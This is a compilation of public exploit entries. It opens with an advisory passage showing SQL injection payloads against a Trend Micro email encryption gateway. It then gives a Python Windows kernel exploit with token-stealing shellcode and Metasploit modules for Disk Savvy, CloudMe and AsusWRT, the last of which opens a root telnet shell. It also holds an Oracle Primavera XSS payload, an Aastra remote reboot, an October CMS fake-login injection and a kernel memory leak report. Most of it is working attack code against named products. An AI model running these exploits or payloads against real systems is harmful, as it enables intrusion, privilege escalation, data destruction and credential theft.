From webapps/ROOT/editPolicy.jsp:

/-----
<% if (frm.isPostBack())
{
    if (request.getParameter("hidDelete").compareTo("YES") == 0)
    {
        frm.DeletePolicy(request);
    }
[...]
-----/

DeletePolicy reads the hidRuleId parameter and calls deletePolicy with
it, without doing any sanitization.

From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy:

/-----
public boolean DeletePolicy(HttpServletRequest request)
{
    String ruleId = request.getParameter("hidRuleId");
    boolean success = dataStore.deletePolicy(ruleId);
    _databaseError = (!success);

    return success;
}
-----/

Finally, the JPostgresDataHelper class uses the ruleId parameter to
build dynamic SQL statements, as can be seen in the following extract.
       
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/data/JPostgresDataHelper:

/-----
public boolean deletePolicy(String ruleId)
{
  Connection cnn = null;
  Statement query = null;

  boolean bSuccess = true;

  try
  {
      cnn = MySQLClient.GetInstance().GetConnection();
      cnn.setAutoCommit(false);
      query = cnn.createStatement();

      query.executeUpdate("DELETE FROM RulesEmailIndex WHERE
RulesEngineId = " + ruleId);
      query.executeUpdate("DELETE FROM SubRuleIndex WHERE RulesEngineId
= " + ruleId);
      query.executeUpdate("DELETE FROM RulesEngine WHERE Id = " + ruleId);
  [...]
-----/

The ruleId parameter will be appended as-is to the DELETE statements,
resulting in a SQL injection.

The following request will cause the RulesEmailIndex, SubRuleIndex, and
RulesEngine tables to be truncated:

/-----
POST /editPolicy.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://[server]/policies.jsp
Content-Type: application/x-www-form-urlencoded
Content-Length: 133
Cookie: JSESSIONID=2B363A12C93CA038322EE551890FF30F
Connection: close
Upgrade-Insecure-Requests: 1

action=editPolicy%3Apostback&hidEmails=&hidConditions=&hidRuleId=223+OR++'1+'%3d+'1+'&hidDelete=YES&ruleResult=3&ruleTarget=3&envId=1
-----/


7.13. *SQL Injection in emailSearch.jsp*

[CVE-2018-6230]
The SearchString parameter of the emailSearch.jsp script is not
sanitized, leading to a SQL injection.

As can be seen in the following excerpt, the emailSearch.jsp script
reads a parameter named SearchString and calls the getResults method
defined in the wsEmailSearch class.

From webapps/ROOT/emailSearch.jsp:

/-----
if (session.getAttribute("UserName") != null)
{
    response.setContentType("text/xml");
    ws.setSearchParam(request.getParameter("SearchString"));
    java.util.Vector res = ws.getResults();
    [...]
-----/

The searchParam property is not sanitized before being used to build a
dynamic SQL query, resulting in a SQL injection in the SELECT statement.
       
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/wsEmailSearch:

/-----
public class wsEmailSearch
{
    private String _searchParam = "";
    public void setSearchParam(String searchParam) { _searchParam =
searchParam; }

    public Vector getResults()
    {
        Vector res = new Vector();

        Connection cnn = MySQLClient.GetInstance().GetConnection();
        try
        {
            Statement query = cnn.createStatement();

            ResultSet rs = query.executeQuery("SELECT address FROM
RulesEmailAddresses WHERE address LIKE '%" + _searchParam + "%' ORDER BY
address");
[...]
-----/

The following proof of concept will cause all the e-mails on the
database to be retrieved:

/-----
POST /emailSearch.jsp HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Referer: https://server/policies.jsp
Content-Length: 39
Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2
Connection: close

SearchString=' OR '%1%'='%1
-----/

8. *Report Timeline*
2017-06-05: Core Security sent an initial notification to Trend Micro,
including a draft advisory.
2017-06-05: Trend Micro confirmed reception of advisory and informed
they will submit it to the relevant technical team for validation and
replication.
2017-06-22: Core Security asked for an update on the vulnerability
reported.
2017-06-22: Trend Micro answered saying the cases are still being vetted
and that they will commit a time when the solution is finalized.
2017-08-28: Core Security asked again for an update on the vulnerability
reported.
2017-08-28: Trend Micro answered saying the team is still in the process
of creating the official fix for the vulnerabilities, although there is
still no official release date.
2017-10-02: Core Security asked again for an update on the vulnerability
reported.
2017-10-02: Trend Micro answered saying the team are still finalizing
the fix to ensure all vulnerabilities are covered.
2017-11-13: Core Security asked again (4th time) for an ETA for the
official fix. We stated we need a release date or a thorough explanation
on why after five months there is still no date defined. If there is no
such answer we will be forced to publish the advisory.
2017-11-14: Trend Micro answered saying the team is still working on two
vulnerabilities and due to the complexity and number of vulnerabilities
overall found, their team requires more time.
2018-01-16: Core Security asked again (5th time) for an ETA for the
official fix.
2018-01-23: Trend Micro answered proposing the publication date to be
February 7th.
2018-01-24: Core Security thanked Trend Micro's answer and asked if all
the vulnerabilities reported in the advisory will be addressed. In
addition, Core Security asked for CVE-IDs.
2018-01-24: Trend Micro confirmed all submitted vulnerabilities will be
addressed and notified Core Security they will send the CVE-IDs when
have these assigned. In addition, Trend Micro sent its new PGP key.
2018-01-29: Core Security thanked Trend Micro's confirmation and agreed
on the proposed release date.
2018-01-29: Trend Micro answered saying the team found a couple of
issues during the QA test. Consequently, Trend Micro asked for
additional time to fix the remaining vulnerabilities and required a
separated disclosure time.
2018-01-29: Core Security answered its intention to report all the
vulnerabilities in just one advisory and asked for a timeline for the fix.
2018-02-01: Core Security asked for an update on the remaining
vulnerabilities.
2018-02-02: Trend Micro sent an update and requested a week extension.
2018-02-02: Core Security thanked Trend Micro's update and agreed to
postpone the release.
2018-02-14: Trend Micro answered saying the remaining vulnerabilities
will not be addressed in the patch due to its complexity; therefore,
mitigation steeps will be recommending. Also, Trend Micro proposed
February 21 as the release date.
2018-02-14: Core Security thanked Trend Micro's update and agreed on the
proposed release date.
2018-02-21: Advisory CORE-2017-0006 published.

9. *References*

[1]
http://apac.trendmicro.com/apac/enterprise/network-web-messaging-security/email-encryption/


10. *About CoreLabs*

CoreLabs, the research center of Core Security, is charged with
anticipating the future needs and requirements for information security
technologies.
We conduct our research in several important areas of computer security
including system vulnerabilities, cyber attack planning and simulation,
source code auditing, and cryptography. Our results include problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies. CoreLabs regularly publishes security
advisories, technical papers, project information and shared software
tools for public use at:
http://corelabs.coresecurity.com.

11. *About Core Security*

Core Security provides companies with the security insight they need to
know who, how, and what is vulnerable in their organization. The
company's threat-aware, identity & access, network security, and
vulnerability management solutions provide actionable insight and context
needed to manage security risks across the enterprise. This shared
insight gives customers a comprehensive view of their security posture
to make better security remediation decisions. Better insight allows
organizations to prioritize their efforts to protect critical assets,
take action sooner to mitigate access risk, and react faster if a breach
does occur.

Core Security is headquartered in the USA with offices and operations in
South America, Europe, Middle East and Asia. To learn more, contact Core
Security at (678) 304-4500 or info@coresecurity.com

12. *Disclaimer*

The contents of this advisory are copyright (c) 2018 Core Security and
(c) 2018 CoreLabs,and are licensed under a Creative Commons Attribution
Non-Commercial Share-Alike 3.0 (United States) License:
http://creativecommons.org/licenses/by-nc-sa/3.0/us/

13. *PGP/GPG Keys*

This advisory has been signed with the GPG key of Core Security advisories
team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
            
/*
Title: Armadito Antivirus - Malware Detection Bypass 
Date: 21/02/2018
Author: Souhail Hammou
Author's website: http://rce4fun.blogspot.com
Vendor Homepage: http://www.teclib-edition.com/en/
Version: 0.12.7.2
CVE: CVE-2018-7289


Details:
--------
An issue was discovered in armadito-windows-driver/src/communication.c affecting Armadito 0.12.7.2 and previous versions.
Malware with filenames containing pure UTF-16 characters can bypass detection. 
The user-mode service will fail to open the file for scanning after the conversion is done from Unicode to ANSI. 
This happens because characters that cannot be converted from Unicode are replaced with the '?' character.

The code responsible for this issue is located in armadito-windows-driver/src/communication.c

========================================================================================================
		 // Convert unicode string to ansi string for ring 3 process.		 
		 ntStatus = RtlUnicodeStringToAnsiString(&AnsiString, (PCUNICODE_STRING)FilePath, TRUE); 
		 if(!NT_SUCCESS(ntStatus)){ 
			DbgPrint("[-] Error :: ArmaditoGuard!SendScanOrder :: RtlUnicodeStringToAnsiString() routine failed !! \n"); 
			__leave; 
		 } 
========================================================================================================

The two examples below demonstrate the bug. 
In the first case, the filename is in Arabic and in the second, the filename's first letter is the greek M (U+039C).


Original filename:
 مرحبا.exe : 0645 0631 062d 0628 0627 002e 0065 0078 0065 

Converted to ANSI by Armadito:
 ?????.exe : 3f 3f 3f 3f 3f 2e 65 78 65 

=============================

Original filename:
 Μalware.exe : 039c 0061 006c 0077 0061 0072 0065 002e 0065 0078 0065 

Converted to ANSI by Armadito:
 ?alware.exe : 3f 61 6c 77 61 72 65 2e 65 78 65 


See: https://github.com/armadito/armadito-windows-driver/issues/5
*/
            
from ctypes import *

from ctypes.wintypes import *

import struct

import sys

import os

 

MEM_COMMIT = 0x00001000

MEM_RESERVE = 0x00002000

PAGE_EXECUTE_READWRITE = 0x00000040

GENERIC_READ  = 0x80000000

GENERIC_WRITE = 0x40000000

OPEN_EXISTING = 0x3

STATUS_INVALID_HANDLE = 0xC0000008

 

shellcode_len = 90

s = “”

s += “\x65\x48\x8B\x04\x25\x88\x01\x00”        #mov rax, [gs:0x188]

s += “\x00”

s += “\x48\x8B\x40\x70”                                  #mov rax, [rax + 0x70]

s += “\x48\x8B\x98\x90\x02\x00\x00”                 #mov rbx, [rax + 0x290]   

s += “\x48\x8B\x80\x88\x01\x00\x00”                 #mov rax, [rax + 0x188]

s += “\x48\x2D\x88\x01\x00\x00”                     #sub rax, 0x188

s += “\x48\x39\x98\x80\x01\x00\x00”                 #cmp [rax + 0x180], rbx

s += “\x75\xEA”                                               #jne Loop1

s += “\x48\x89\xC1”                                     #mov rcx, rax

s += “\xBA\x04\x00\x00\x00”                        #mov rdx, 0x4

s += “\x48\x8B\x80\x88\x01\x00\x00”                 #mov rax, [rax + 0x188]

s += “\x48\x2D\x88\x01\x00\x00”                     #sub rax, 0x188

s += “\x48\x39\x90\x80\x01\x00\x00”                 #cmp [rax + 0x180], rdx

s += “\x75\xEA”                                               #jne Loop2

s += “\x48\x8B\x80\x08\x02\x00\x00”                 #mov rax, [rax + 0x208]   

s += “\x48\x89\x81\x08\x02\x00\x00”                 #mov [rcx + 0x208], rax

s += “\x48\x31\xC0”                                     #xor rax,rax

s += “\xc3”                                                  #ret

shellcode = s

 

 

”’

* Convert a python string to PCHAR

@Param string – the string to be converted.

@Return – a PCHAR that can be used by winapi functions.

”’

def str_to_pchar(string):

      pString = c_char_p(string)

 

      return pString

 

”’

* Map memory in userspace using NtAllocateVirtualMemory

@Param address – The address to be mapped, such as 0x41414141.

@Param size – the size of the mapping.

@Return – a tuple containing the base address of the mapping and the size returned.

”’

def map_memory(address, size):

      temp_address = c_void_p(address)

      size = c_uint(size)

 

      proc = windll.kernel32.GetCurrentProcess()

      nt_status = windll.ntdll.NtAllocateVirtualMemory(c_void_p(proc),

                                            byref(temp_address), 0,

                                            byref(size),

                                            MEM_RESERVE|MEM_COMMIT,

                                            PAGE_EXECUTE_READWRITE)

 

      #The mapping failed, let the calling code know

      if nt_status != 0:

            return (-1, c_ulong(nt_status).value)

      else:

            return (temp_address, size)

 

”’

* Write to some mapped memory.

@Param address – The address in memory to write to.

@Param size – The size of the write.

@Param buffer – A python buffer that holds the contents to write.

@Return – the number of bytes written.

”’

def write_memory(address, size, buffer):

      temp_address = c_void_p(address)

      temp_buffer = str_to_pchar(buffer)

      proc = c_void_p(windll.kernel32.GetCurrentProcess())

      bytes_ret = c_ulong()

      size = c_uint(size)

 

      windll.kernel32.WriteProcessMemory(proc,

                                                      temp_address,

                                                      temp_buffer,

                                                      size,

                                                      byref(bytes_ret))

 

      return bytes_ret

 

”’

* Get a handle to a device by its name. The calling code is responsible for

* checking the handle is valid.

@Param device_name – a string representing the name, ie \\\\.\\nxfs-net….

”’

def get_handle(device_name):

      return windll.kernel32.CreateFileA(device_name,

                                GENERIC_READ | GENERIC_WRITE,

                                0,

                                None,

                                OPEN_EXISTING,

                                0,

                                None)

 

def main():

      print “[+] Attempting to exploit uninitialised stack variable, this has a chance of causing a bsod!”

 

      print “[+] Mapping the regions of memory we require”

 

      #Try and map the first 3 critical regions, if any of them fail we exit.

      address_1, size_1 = map_memory(0x14c00000, 0x1f0000)

      if address_1 == -1:

            print “[x] Mapping 0x610000 failed with error %x” %size_1

            sys.exit(-1)

 

      address_2, size_2 = map_memory(0x41414141, 0x100000)

      if address_2 == -1:

            print “[x] Mapping 0x41414141 failed with error %x” %size_2

            sys.exit(-1)

 

      address_3, size_3 = map_memory(0xbad0b0b0, 0x1000)

      if address_3 == -1:

          print “[x] Mapping 0xbad0b0b0 failed with error %x” %size_3

          sys.exit(-1)

 

      #this will hold our shellcode

      sc_address, sc_size = map_memory(0x42424240, 0x1000)

      if sc_address == -1:

          print “[x] Mapping 0xbad0b0b0 failed with error %x” %sc_size

          sys.exit(-1)

 

      #Now we write certain values to those mapped memory regions

      print “[+] Writing data to mapped memory…”

      #the first write involves storing a pointer to our shellcode

      #at offset 0xbad0b0b0+0xa8

      buff = “\x40BBB” #0x42424240

      bytes_written = write_memory(0xbad0b0b0+0xa8, 4, buff)

     

      write_memory(0x42424240, shellcode_len, shellcode)

 

      #the second write involves spraying the first memory address with pointers

      #to our second mapped memory.

      print “\t spraying unitialised pointer memory with userland pointers”

     

      buff = “\x40AAA” #0x0000000041414140

      for offset in range(4, size_1.value, 8):

            temp_address = address_1.value + offset

            write_memory(temp_address, 4, buff)

 

      #the third write simply involves setting 0x41414140-0x18 to 0x5

      #this ensures the kernel creates a handle to a TOKEN object.

      print “[+] Setting TOKEN type index in our userland pointer”

      buff = “\x05”

      temp_address = 0x41414140-0x18

      write_memory(temp_address, 1, buff)

 

      print “[+] Writing memory finished, getting handle to first device”

      handle = get_handle(“\\\\.\\nxfs-709fd562-36b5-48c6-9952-302da6218061”)

 

      if handle == STATUS_INVALID_HANDLE:

            print “[x] Couldn’t get handle to \\\\.\\nxfs-709fd562-36b5-48c6-9952-302da6218061”

            sys.exit(-1)

 

      #if we have a valid handle, we now need to send ioctl 0x222014

      #this creates a new device for which ioctl 0x222030 can be sent

      in_buff = struct.pack(“<I”, 0x190) +  struct.pack(“<I”, 0x1) + “AA”

      in_buff = str_to_pchar(in_buff)

      out_buff = str_to_pchar(“A”*0x90)

      bytes_ret = c_ulong()

 

      ret = windll.kernel32.DeviceIoControl(handle,

                                      0x222014,

                                      in_buff,

                                      0x10,

                                      out_buff,

                                      0x90,

                                      byref(bytes_ret),

                                      0)

      if ret == 0:

            print “[x] IOCTL 0x222014 failed”

            sys.exit(-1)

 

      print “[+] IOCTL 0x222014 returned success”

 

      #get a handle to the next device for which we can send the vulnerable ioctl.

      print “[+] Getting handle to \\\\.\\nxfs-net-709fd562-36b5-48c6-9952-302da6218061{709fd562-36b5-48c6-9952-302da6218061}”

      handle = get_handle(“\\\\.\\nxfs-net-709fd562-36b5-48c6-9952-302da6218061{709fd562-36b5-48c6-9952-302da6218061}”)

 

      if handle == STATUS_INVALID_HANDLE:

            print “[x] Couldn’t get handle”

            sys.exit(-1)

 

      #this stage involves attempting to manipulate the Object argument on the stack.

      #we found that making repeated calles to CreateFileA increased this value.

      print “[+] Got handle to second device, now generating a load more handles”

      for i in range(0, 900000):

            temp_handle = get_handle(“\\\\.\\nxfs-net-709fd562-36b5-48c6-9952-302da6218061{709fd562-36b5-48c6-9952-302da6218061}”)

 

      #coming towards the end, we send ioctl 0x222030, this has the potential to bluescreen the system.

      #we don’t care about the return code.

      print “[+] Sending IOCTL 0x222030”

      in_buff = str_to_pchar(“A”*0x30)

      out_buff = str_to_pchar(“B”*0x30)

 

      windll.kernel32.DeviceIoControl(handle,

                                    0x222030,

                                    in_buff,

                                    0x30,

                                    out_buff,

                                    0x30,

                                    byref(bytes_ret),

                                    0)

 

      #finally, we confuse the kernel by setting our object type index to 1.

      #this then points to 0xbad0b0b0, and namely 0xbad0b0b0+0xa8 for the close procedure(???)

      print “[+] Setting our object type index to 1”

      temp_address = 0x41414140-0x18

      write_memory(temp_address, 1, “\x01”)

 

      #The process should now exit, where the kernel will attempt to clean up our dodgy handle

      #This will cause …..

 

if __name__ == ‘__main__’:

      main()
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Disk Savvy Enterprise v10.4.18',
      'Description'    => %q{
        This module exploits a stack-based buffer overflow vulnerability
        in Disk Savvy Enterprise v10.4.18, caused by improper bounds
        checking of the request sent to the built-in server. This module
        has been tested successfully on Windows 7 SP1 x86.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Daniel Teixeira'
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread'
        },
      'Platform'       => 'win',
      'Payload'        =>
        {
          'BadChars'   => "\x00\x02\x0a\x0d\xf8",
          'Space'      => 800
        },
      'Targets'        =>
        [
          [ 'Disk Savvy Enterprise v10.4.18',
            {
              'Offset' => 124,
              'Ret'    => 0x10056d13
            }
          ]
        ],
      'Privileged'     => true,
      'DisclosureDate' => 'Jan 31 2017',
      'DefaultTarget'  => 0))

    register_options([Opt::RPORT(9124)])

  end

  def exploit
    seh = generate_seh_record(target.ret)
    connect

    buffer = make_nops(target['Offset'])
    buffer << seh
    buffer << "\x83\xc4\x7f" * 13   #ADD esp,7fh
    buffer << "\x83\xc4\x21"        #ADD esp,21h
    buffer << "\xff\xe4"            #JMP esp
    buffer << payload.encoded
    buffer << Rex::Text.rand_text_alphanumeric(1)

    header = "\x75\x19\xba\xab"
    header << "\x03\x00\x00\x00"
    header << "\x00\x40\x00\x00"
    header << [buffer.length].pack("V")
    header << [buffer.length].pack("V")
    header << [buffer[-1].ord].pack("V")
    packet = header
    packet << buffer

    sock.put(packet)
    handler
  end
end
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'CloudMe Sync v1.10.9',
      'Description'    => %q{
        This module exploits a stack-based buffer overflow vulnerability
        in CloudMe Sync v1.10.9 client application. This module has been
        tested successfully on Windows 7 SP1 x86.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'hyp3rlinx',      # Original exploit author
          'Daniel Teixeira' # MSF module author
        ],
      'References'     =>
        [
          [ 'CVE', '2018-6892'],
          [ 'EDB', '44027' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread'
        },
      'Platform'       => 'win',
      'Payload'        =>
        {
          'BadChars'   => "\x00",
        },
      'Targets'        =>
        [
          [ 'CloudMe Sync v1.10.9',
            {
              'Offset' => 2232,
              'Ret'    => 0x61e7b7f6
            }
          ]
        ],
      'Privileged'     => true,
      'DisclosureDate' => 'Jan 17 2018',
      'DefaultTarget'  => 0))

    register_options([Opt::RPORT(8888)])

  end

  def exploit
    connect

    buffer = make_nops(target['Offset'])
    buffer << generate_seh_record(target.ret)
    buffer << payload.encoded

    sock.put(buffer)
    handler
  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::Udp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'AsusWRT LAN Unauthenticated Remote Code Execution',
      'Description'    => %q{
      The HTTP server in AsusWRT has a flaw where it allows an unauthenticated client to
      perform a POST in certain cases. This can be combined with another vulnerability in
      the VPN configuration upload routine that sets NVRAM configuration variables directly
      from the POST request to enable a special command mode.
      This command mode can then be abused by sending a UDP packet to infosvr, which is running
      on port UDP 9999 to directly execute commands as root.
      This exploit leverages that to start telnetd in a random port, and then connects to it.
      It has been tested with the RT-AC68U running AsusWRT Version 3.0.0.4.380.7743.
      },
      'Author'         =>
        [
          'Pedro Ribeiro <pedrib@gmail.com>'         # Vulnerability discovery and Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['URL', 'https://blogs.securiteam.com/index.php/archives/3589'],
          ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/asuswrt-lan-rce.txt'],
          ['URL', 'http://seclists.org/fulldisclosure/2018/Jan/78'],
          ['CVE', '2018-5999'],
          ['CVE', '2018-6000']
        ],
      'Targets'        =>
        [
          [ 'AsusWRT < v3.0.0.4.384.10007',
            {
              'Payload'        =>
                {
                  'Compat'  => {
                    'PayloadType'    => 'cmd_interact',
                    'ConnectionType' => 'find',
                  },
                },
            }
          ],
        ],
      'Privileged'     => true,
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
      'DisclosureDate'  => 'Jan 22 2018',
      'DefaultTarget'   => 0))
    register_options(
      [
        Opt::RPORT(9999)
      ])

    register_advanced_options(
      [
        OptInt.new('ASUSWRTPORT', [true,  'AsusWRT HTTP portal port', 80])
      ])
  end

  def exploit
    # first we set the ateCommand_flag variable to 1 to allow PKT_SYSCMD
    # this attack can also be used to overwrite the web interface password and achieve RCE by enabling SSH and rebooting!
    post_data = Rex::MIME::Message.new
    post_data.add_part('1', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"ateCommand_flag\"")

    data = post_data.to_s

    res = send_request_cgi({
      'uri'    => "/vpnupload.cgi",
      'method' => 'POST',
      'rport'  => datastore['ASUSWRTPORT'],
      'data'   => data,
      'ctype'  => "multipart/form-data; boundary=#{post_data.bound}"
    })

    if res and res.code == 200
      print_good("#{peer} - Successfully set the ateCommand_flag variable.")
    else
      fail_with(Failure::Unknown, "#{peer} - Failed to set ateCommand_flag variable.")
    end


    # ... but we like to do it more cleanly, so let's send the PKT_SYSCMD as described in the comments above.
    info_pdu_size = 512                         # expected packet size, not sure what the extra bytes are
    r = Random.new

    ibox_comm_pkt_hdr_ex  =
        [0x0c].pack('C*') +                     # NET_SERVICE_ID_IBOX_INFO  0xC
        [0x15].pack('C*') +                     # NET_PACKET_TYPE_CMD 0x15
        [0x33,0x00].pack('C*') +                # NET_CMD_ID_MANU_CMD 0x33
        r.bytes(4) +                            # Info, don't know what this is
        r.bytes(6) +                            # MAC address
        r.bytes(32)                             # Password

    telnet_port = rand((2**16)-1024)+1024
    cmd = "/usr/sbin/telnetd -l /bin/sh -p #{telnet_port}" + [0x00].pack('C*')
    pkt_syscmd =
        [cmd.length,0x00].pack('C*') +          # cmd length
        cmd                                     # our command

    pkt_final = ibox_comm_pkt_hdr_ex + pkt_syscmd + r.bytes(info_pdu_size - (ibox_comm_pkt_hdr_ex + pkt_syscmd).length)

    connect_udp
    udp_sock.put(pkt_final)                     # we could process the response, but we don't care
    disconnect_udp

    print_status("#{peer} - Packet sent, let's sleep 10 seconds and try to connect to the router on port #{telnet_port}")
    sleep(10)

    begin
      ctx = { 'Msf' => framework, 'MsfExploit' => self }
      sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port, 'Context' => ctx, 'Timeout' => 10 })
      if not sock.nil?
        print_good("#{peer} - Success, shell incoming!")
        return handler(sock)
      end
    rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
      sock.close if sock
    end

    print_bad("#{peer} - Well that didn't work... try again?")
  end
end
            
# Exploit Title: Oracle Primavera P6 Enterprise Project Portfolio Management HTTP Response Splitting
# Date: 16-02-2018
# Exploit Author: Marios Nicolaides - RUNESEC
# Reviewers: Simon Loizides and Nicolas Markitanis - RUNESEC
# Vendor Homepage: https://www.oracle.com
# Affected Software: Oracle Primavera P6 Enterprise Project Portfolio Management 8.3, 8.4, 15.1, 15.2, 16.1
# Tested on: Oracle Primavera P6 Enterprise Project Portfolio Management (Build: 15.1.0.0 (B0163) 14.03.2015.1305) / Oracle WebLogic 12.1.3.0.0
# CVE: CVE-2017-10046	
# Category: Web Application

Overview
--------

The Oracle Primavera Project Portfolio Management application is vulnerable to HTTP 
Response Splitting.

The application takes the user's input from the languageCode parameter and includes
it in the ORA-PWEB_LANGUAGE_1111 cookie value within the "Set-Cookie" HTTP Response
header. The application allows an attacker to inject LF (line feed) characters and
break out of the headers into the message body and write arbitrary content into the
application's response.

As a result, this could enable an attacker to perform Cross-Site Scripting attacks
(XSS), redirect victims to malicious websites, and poison web and browser caches.


Details
-------

The exploit can be demonstrated as follows:
    1. A malicious attacker crafts the following URL:
        /p6/LoginHandler?languageCode=runesec%0a%0a%0a<script>alert(document.cookie)</script>%0a
    2. The attacker sends the above URL to an Oracle Primavera Project Portfolio Management application user.
    3. The "malicious" JavaScript payload will execute in the victim's browser and display a popup box showing the victim's cookies.

Please note that the payload used above is for demonstration purposes only. A real attacker would try to steal the user's cookies
or perform other malicious actions.

The above exploit was tested against the following components:
    Application: Oracle Primavera (Build: 15.1.0.0 (B0163) 14.03.2015.1305)
    Underlying Infrastructure: Oracle WebLogic 12.1.3.0.0


Impact
------

An attacker might be able to steal the user's session cookie and/or credentials.
As a result, the attacker would be able to gain unauthorized access to the application.
Further, an attacker might be able to poison web and/or browser caches in an attempt
to perform a persistent attack.


Mitigation
----------

Apply Critical Patch Update (CPU) of July 2017 - http://www.oracle.com/technetwork/security-advisory/cpujul2017-3236622.html


References
----------
https://blog.runesec.com/2018/02/15/oracle-primavera-http-response-splitting/
http://www.oracle.com/technetwork/security-advisory/cpujul2017-3236622.html
https://www.cvedetails.com/cve/CVE-2017-10046/
https://nvd.nist.gov/vuln/detail/CVE-2017-10046
https://www.owasp.org/index.php/HTTP_Response_Splitting
https://www.owasp.org/index.php/Testing_for_HTTP_Splitting/Smuggling_(OTG-INPVAL-016)
http://projects.webappsec.org/w/page/13246931/HTTP%20Response%20Splitting


Timeline
--------

24 April 2017 - Oracle informed about the issue
July 2017 - Oracle released a patch
15 February 2018 - Exploit publicly disclosed
            
# Exploit Title:  Aastra 6755i SIP SP4 | Unauthorized Remote Reboot
# Date: 17/02/2018
# Exploit Author: Wadeek
# Hardware Version: 6755i
# Firmware Version: 3.3.1.4053 SP4
# Vendor Homepage: http://www.aastra.sg/
# Firmware Link: http://www.aastra.sg/cps/rde/aareddownload?file_id=6950-17778-_P32_XML&dsproject=www-aastra-sg&mtype=zip

== Web Fingerprinting ==
#===========================================
:www.shodan.io: "Server: Aragorn" "WWW-Authenticate: Basic realm" "Mitel 6755i"
#===========================================
:Device image: /aastra.png (160x50)
#===========================================
:Crash dump, Firmware version, Firmware model,...: /crashlog.html
#===========================================

== PoC ==
#================================================
:Unauthorized Remote Reboot ("crash.cfg" file is created after): /confirm.html
#================================================
            
# Exploit Title: October CMS Stored Code Injection
# Date: 16-02-2018
# Exploit Author: Samrat Das
# Contact: http://twitter.com/Samrat_Das93
# Website: https://securitywarrior9.blogspot.in/
# Vendor Homepage: *https://octobercms.com/ <https://octobercms.com/>*
# Version: All versions till date from 1.0.431
# CVE : CVE- 2018-7198
# Category: WebApp CMS

1. Description

The application source code is coded in a way which allows malicious
crafted HTML commands to be executed without input validation

2. Proof of Concept

1.  Visit the application
2.  Visit the Add posts page
3.  Goto edit function, add any html based payload and its gets stored and executed subsequently.

Proof of Concept

Steps to Reproduce:

1. Create any HTML based payload such as:

Username:<input type=text> <br>
Password: <input type=text> <br>
<button type="button">Login</button>

2. This hosted page with form action implemented upon clicked by user will lead to exfiltration of credentials apart from performing a host of other actions such as stored xss and another similiar attacks.



3. Solution:

Implement through input validation to reject unsafe html input.
            
/*
We have discovered a new Windows kernel memory disclosure vulnerability in the creation and copying of a CONTEXT structure to user-mode memory. Two previous bugs in the nearby code area were reported in issues  #1177  and  #1311 ; in fact, the problem discussed here appears to be a variant of #1177 but with a different trigger (a GetThreadContext() call instead of a generated exception).

The leak was originally detected under the following stack trace:

--- cut ---
  kd> k
   # ChildEBP RetAddr  
  00 a5d2b8f4 81ec3e30 nt!RtlpCopyLegacyContextX86+0x16e
  01 a5d2b91c 82218aec nt!RtlpCopyExtendedContext+0x70
  02 a5d2b96c 8213a22a nt!RtlpWriteExtendedContext+0x66
  03 a5d2bd18 822176bc nt!PspGetContextThreadInternal+0x1c6
  04 a5d2bd44 81fccca7 nt!NtGetContextThread+0x54
  05 a5d2bd44 77a41670 nt!KiSystemServicePostCall
--- cut ---

and more specifically in the copying of the _FLOATING_SAVE_AREA structure when the CONTEXT_FLOATING_POINT flags are set:

--- cut ---
  kd> dt _FLOATING_SAVE_AREA
  ntdll!_FLOATING_SAVE_AREA
     +0x000 ControlWord      : Uint4B
     +0x004 StatusWord       : Uint4B
     +0x008 TagWord          : Uint4B
     +0x00c ErrorOffset      : Uint4B
     +0x010 ErrorSelector    : Uint4B
     +0x014 DataOffset       : Uint4B
     +0x018 DataSelector     : Uint4B
     +0x01c RegisterArea     : [80] UChar
     +0x06c Spare0           : Uint4B
--- cut ---

In that structure, the last 32-bit "Spare0" field is left uninitialized and provided this way to the ring-3 client. The overall CONTEXT structure (which contains the FLOATING_SAVE_AREA) is allocated from the stack with an alloca() call in the nt!PspGetContextThreadInternal function:

--- cut ---
  PAGE:006BA173                 lea     edx, [ebp+var_48]
  PAGE:006BA176                 mov     ecx, [ebp+ContextFlags]
